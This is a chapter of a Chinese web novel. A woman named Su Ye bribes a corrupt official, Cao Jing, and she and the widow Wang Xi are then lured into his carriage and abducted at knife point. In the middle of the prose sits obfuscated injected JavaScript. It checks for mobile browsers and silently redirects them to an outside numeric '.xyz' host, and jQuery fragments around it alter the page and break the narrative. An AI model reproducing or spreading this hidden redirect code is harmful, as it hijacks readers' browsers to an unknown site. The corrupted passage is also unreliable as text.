翌日清早,天刚蒙蒙亮。
苏冶睁开眼时,屋子里已经没了李三的人影,她想起了什么,忙拿起墙边篮子里的布包,三步并作两步往屋外跑去。
说来也巧,李三还未走远,背影尚在来时的小径处晃动。
“等等!”
苏冶一边高喊,一边快步追赶到。
听到身后动静,李三顿住脚步,转身就见苏冶气喘吁吁地跑来,手里还攥着个鼓鼓囊囊的布包。
“喘口气儿先...“”苏冶扶着膝盖,上气不接下气。
李三也不催促,就这么静静等着。
待气息稍匀,苏冶将布包往他手里一塞:“备了些干粮,路上垫补垫补,你若是辟谷,赏给路边乞儿也罢。"
话音刚落,还没等李三说话,苏冶已经转身,背影渐隐在晨雾中
——
回屋后,苏冶径直去找了王寡妇。
王寡妇闺名王喜,本有个恩爱的丈夫,两人日子过得也算和美,只可惜那人后来折在了战场,一儿半女也没留下,只余下王喜一人。
此后村里不少泼皮惦记,欲要吃她的绝户,她索性搬到了村西头的偏僻处,离村子里的人远了,倒是离苏冶这个两年前刚搬过来的外人成了近邻。
苏冶到王喜家里时,正赶上她烧火起灶。
瞧见苏冶,王喜开口问道:“吃了没?”
“没,蹭你的。”说着,她随手拎起个小木墩,坐下后捡起了把柴火塞进灶膛。
王喜菜刀剁得噔噔响“曹经的事情办得怎样?”
“说是还需要三个保人,教我今日酉时去化陂口的茶肆画个文书。”
王喜刀锋一顿,转身瞪眼:“不对劲儿,当年我走这路子可没这讲究。”
苏冶面色不改道:“战场上折了的人,真真没了,板上钉钉,我这儿全凭一张嘴,自是有些难办。”
王喜蹲到她跟前,压低声音:“我陪你去,好歹有个照应。”
“若那姓曹的存心刁难,多你一个不过多遭份罪。”苏冶拨弄柴火,“安心待着吧。”
王喜看她这般,知道犟不过,也不再多言。
她知晓苏冶的脾性,为人爽利,做事情也看实处重结果,对熟人,嘴上不客套,遇事却靠得住。
想着,她便对苏冶说:
“那你多留个心眼儿。”
苏冶笑笑:“自然。”
——
饭毕,苏冶正要走,王喜忽地拽住她,塞来一只钱袋。
“这是?”苏冶诧异道。
“前番你托我卖的物件都出手了,这是你的份。”王喜笑道。
苏冶掂了掂钱袋,眉梢一挑:“多了吧?”
王喜道:“手艺是你的,自然你拿大头。”
苏冶没有推辞,只是拉开钱袋的抽绳,取出一把铜钱,塞回王喜手里。
“快交粮了,你给自个儿再留些,剩下的都是我的。”
话毕笑着拍了拍钱袋,大步离去。
王喜望着她的背影,摇头轻笑。
——
一年前她刚搬到这里时,认识了苏冶,俩人家里没男人,日子都难过。
不想没过多久,苏冶扛着个麻袋上门,里面装着些铁锹,问她认不认识人,托她找门路售卖。
王喜在曹家村这么多年,多少有路子,帮苏冶牵线镇上的朱记铁铺,竟分得不少银钱。
后来那铁铺的朱老板找到她,说这东西品相好,想加价买方子,苏冶却断然拒绝。
那铁铺老板没法子,便想着向高价苏冶讨来做这东西的方子,苏冶却是不愿意卖,也不愿多说原因。
王喜晓得她是个有主意的,便不再问,只替她周旋,既不断财路,也不惹祸端。
如此一年下来,苏冶攒下来不少体己钱,王喜也跟着得了实惠。
——
日中,化陂口茶肆。
苏冶独坐在方桌前,看着曹经一派悠闲地姗姗来迟。
“李家娘子来得早。”
寒暄后,曹经落了坐。
苏冶朝他身后逡巡一圈, “大人不是说有三位同乡。”
曹经抿了口茶,皱眉搁下茶盏,欲言又止道:
“这三位……唉”
苏冶心下懒得与他虚与委蛇。
“大人有话但说无妨 。”
曹经装模作样看了她一眼,而后偏头叹道:
“本是与这三人说妥当了,今日不知怎的,一概推脱不愿来,我思前想后,怕是……”
“怕是得使些银钱疏通。”苏冶替他接了难为话。
曹经脸色变了变,却不似刚才拧巴,声腔嘹亮了几分。
“这话说得,乡里乡亲的,事情还没办成,谈论这些伤了和气。”
曹经轱辘话乱冒的时候,苏冶已将备好的钱袋拿了出来。
“这里有五百文,劳烦大人到县里置办像样东西,代我引见。”
曹经见着钱袋,不再推辞,反而道:
“娘子有所不知,县里的东西不比乡下,想挑些像样的,怕是……”
苏冶来了这里两年,不是没去过县里,五百文能不能挑些像样的她自然知道。
是这曹经想吃回扣,欲从她这里多榨些银子出来。
这时候她越是大方,对方摸清了她的底细越是会得寸进尺。
“九月就要完粮,这五百文还是东挪西借来的。”
曹经却不愿松口:
“本官也体谅娘子有难处,只是如今这世道,谁都不好过,你家官人身上是人命纠纷,户房不好落章,都怕闹出蹊跷,同乡也是壮着胆子替你作保,自是不能亏待了他们的好心。”
就在此时,苏冶身后传来一道声音。
“大人会体谅人。”
说着,王喜已在苏冶身旁落了座 。
“我这妹子手上实在紧巴,前些日子还找我挪借银子,家里没了汉子,一人实在负担不起来。”
王喜放心不下她,还是跟了过来。
“不过大人也说的得在理,日子难过,乡里人冒险作保,不能亏待了他们。”
说着,她解下肩头的褡裢,取出个钱袋 。
“替我妹子再添上两百文,大人行个方便,权当我们欠您个人情。”
王喜一套话倒说得天衣无缝,两方都给了面子。
两人认识这一年,苏冶不善经营的人情世故王喜倒帮了她不少忙。
曹经看着王喜推过来的银子,末了还是松了口,退了一步道:
“也罢,娘子说的是个道理,本官也是顾念着同乡的好处,这样,你们同我跑一趟,今日就将三位同乡请来,这些银子也不买甚东西,本官替你们寻个酒楼,张罗一桌,喝上几杯,这事情自然算成了。”
苏冶和王喜心知肚明,曹经这是明着盘算,要把钱吃进酒水里,只不过到了这地步,别无他法。
“此事劳烦大人了。”王喜立马说道。
少了银钱的争执,曹经也展了眉头,变得爽朗。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177133|180764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“好说,今日结个相识,以后乡里人互相照应。”
于是三人离了茶肆,一同上了曹经来时的马车,朝县城去。
——
车轮碾过崎岖的山路,发出沉闷的咯吱声。
苏冶靠在晃动的车厢内壁,方才茶肆里的一幕幕在脑海中闪回——曹经贪得无厌的嘴脸,讨价还价时的市侩模样,收下银钱后假意热络的做派。
表面看来合情合理,可细细琢磨,总觉得有什么地方透着说不出的古怪。
曹经从头至尾都似掉进了钱眼,明着想要多捞几分,也不甚避讳。
若只为索贿,大可直截了当,何必先说要三位保人,又改口设宴,这般迂回,倒像是..."
想到此处,马车突然剧烈一晃,她险些咬到舌头。
这颠簸来得蹊跷,苏冶去过县衙多次,官道平坦宽阔,断不会这般磕绊。
倏的,她想到了什么,猛地掀开青布车帘——
窗外暮色沉沉,荒山野岭间只有一条羊肠小道蜿蜒向前,早已没了半分官道的影子
“觉着闷?”
曹经的声音冷不丁响起,语调里早没了先前的热络,倒多了几分疲惫的冷意。
苏冶强自镇定地放下车帘:"去县衙似乎不该走这条路。"
这时候,一旁的王喜也反应了过来,心中乍起了警铃,看向了曹经。
曹经并未对她俩的疑惑做出反应,甚至没有一句解释,只道:
“闷就掀开帷子透透气儿,路还长。”
“县衙的路,这会儿也快到地方了吧。”苏冶道。
曹经仰靠车壁。
“谁说这是去县衙了。”
王喜霍然起身,却被苏冶死死拽住。
她看向曹经——
果不其然,他手里握着把匕首,刚刚王喜若是扑了上去,多是要见血。
苏冶冷静下来后,看向曹经,问出了最核心的问题:
“我俩还有命活吗。”
不知是打发她们去给人做小妾,还是记挂着她俩的心肝脾肺肾。
曹经打量着她,开口道:
“有命活又怎样,没命又怎样,都是贱命。”
“有命活我们就认了这时候的命。”苏冶没有说出后半句,若是没命,此刻她自然要拼命。
曹经褪去了面上扭捏的假象,只余下刻毒的冷漠。
“贱命活着不体面,死了也是占地方,我送你们去个好地方,给你们些用处。”
苏冶噤了声,转过头用眼神安抚身边的王喜。
她静下心来,将方才茶肆中的情形细细梳理了一遍,想通了这事情前后的因果
曹经先是提出需要三位保人,待她们筹措银钱后又改口设宴,这般反复,看似贪得无厌,实则另有盘算
他要的从来就不是银钱,而是她们心甘情愿地上这辆马车,在茶肆那种人多眼杂的地方,强行动手难免留下把柄。于是他故意演了一出贪财小吏的戏码,让她们以为破财就能免灾,那些讨价还价,假意让步,都是为了打消她们的戒心。
这般算计,曹经深谙人心,知道在什么情况下该进,什么时候该退,如何让人自己走进设好的局里。
事已至此,她掀开车帘,暮色已深,远山如蛰伏的巨兽。
夜风裹着一股子土腥气扑面而来,她忽然想起今晨送给李三的那个包袱。
若早知有此一劫,该在里面多塞两个馍的,留在家里也是要发霉,白白糟蹋了粮食……